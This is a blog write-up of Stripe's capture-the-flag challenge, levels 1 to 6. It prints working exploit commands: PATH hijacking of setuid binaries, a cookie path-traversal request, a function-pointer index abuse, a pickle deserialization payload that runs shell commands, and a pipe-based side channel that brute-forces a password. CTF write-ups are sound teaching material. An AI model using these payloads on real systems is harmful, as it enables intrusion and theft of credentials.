Stripe CTF

Stripe recently presented a set of challenges to "capture the flag" by finding and exploiting security vulnerabilities in a series of setuid binaries and web services. Now that the CTF is officially over, here is a summary of how I captured the flag:

Level 1

Level 1 is pretty easy, a setuid binary calls another program (date) without specifying a path, so we just need to create our own date program (or shell script), make it executable, then run the provided binary with our date first on the PATH.

$ echo /bin/cat /home/level02/.password > date
$ chmod +x date
$ PATH=. /levels/level01
Level 2

Level 2 gives us a PHP script that uses the contents of a cookie to construct a filename, then sends the contents of the file back to the user. We just need to send a relative path to the password file as the value of that cookie.

$ curl -u level02 --digest \
       --cookie user_details="../../home/level03/.password" \
       http://ctf.stri.pe/level02.php
Level 3

Level 3 gets a bit harder. It gives another SUID binary, with a disabled function to call an arbitrary program. Unfortunately it neglects to check for negative numbers when validating input, so we can fall off the front of its function pointer table instead of going past the end. With a bit of poking around in gdb and careful choice of index, we can hit the other argument passed to the program, and store a pointer to the run function there, at which point we are back to calling another program without specifying a path, as in level 01.

$ echo 00000000: 5b870408 | xxd -r > run
$ echo /bin/cat /home/level04/.password > `cat run`
$ chmod +x `cat run`
$ PATH=. /levels/level03 -28 `cat run`
Level 4

Level 4 is another setuid binary, this time with a pretty obvious buffer overflow.

char buf[1024];
strcpy(buf, str);

A quick web search turns up a nice review of why buffer overflows are bad, including a program to automate generating a string to pass to the program in order to exploit the overflow.

Unfortunately, the CTF binaries are 32bit, and the system doesn't seem to be set up to compile 32 bit binaries, so the exploit program can't guess the proper stack address... back to gdb to get an address and hard code it, at which point we run into another problem: "Address Space Layout Randomization."

Attempting to disable ASLR using setarch didn't seem to help, so back to the web to find a more recent example of why buffer overflows are bad, even with ASLR. The ret2eax strategy from that paper combined with the previous code lets us use the buffer overflow to run a shell as level05, at which point we can just read the password directly.

Level 5

Level 5 gives us a Python web service to exploit. Looking around in the source leads to a suspicious regex: '^type: (.*?); data: (.*?); job: (.*?)$'. A quick test with ; job: in the data passed to the service verifies it does in fact parse it incorrectly, so we can pass arbitrary data to the job field.

Tracing through the code more carefully, the job value is a class instance serialized/deserialized using pickle, which apparently should not be used with untrusted data. If we can make the deserialization code execute arbitrary commands, we just need to have it copy the password somewhere we can read it:

$ chmod o+w .
$ curl localhost:9020 -d "; job: cos
system
(S'cp /home/level06/.password `pwd`/ ; chmod 777 `pwd`/.password'
tR."
$ cat .password
Level 6

Level 6 goes back to another setuid binary, this time without any obvious way to inject our own code into it to take control. Luckily it makes the mistake of doing something as soon as it finds a mismatch between the guess and the real password, so if we can figure out a way to detect that, we can try 1 character at a time and see which one it doesn't complain about.

Since it also makes the mistake of printing something every time it checks a character, we can arrange to kill it after it makes a certain number of checks by sending the output to a pipe, then closing the other end of the pipe.

$ mkfifo foo
$ head -c 34 foo & sleep 0.1 ; /levels/level06 /home/the-flag/.password aa 2> foo

The above lets level06 print 34 characters ("Welcome to the password checker!", a newline, and one "."), then closes the reader on the pipe, killing level06 with SIGPIPE. If the first character was wrong, it prints the Ha ha, your password is incorrect! message before being killed on the . from the second character.

Adding in a quick loop lets us test a range of characters reasonably quickly:

$ for a in {0..9} {a..z} {A..Z} ; do
> echo $a
> head -c34 foo & sleep 0.1
> /levels/level06 /home/the-flag/.password "$a"a 2> foo
> sleep 0.1
> done

then just scroll up to see which didn't give an error ("t"), add that to the beginning of the guess, and repeat to find the next character

$ for a in {0..9} {a..z} {A..Z} ; do
> echo $a
> head -c35 foo & sleep 0.1
> /levels/level06 /home/the-flag/.password t"$a"a 2> foo
> sleep 0.1
> done

and so on until we get to 5 for character 24, and no match for character 25, at which point we have the whole password theflagl0eFTtT5oi0nOTxO5.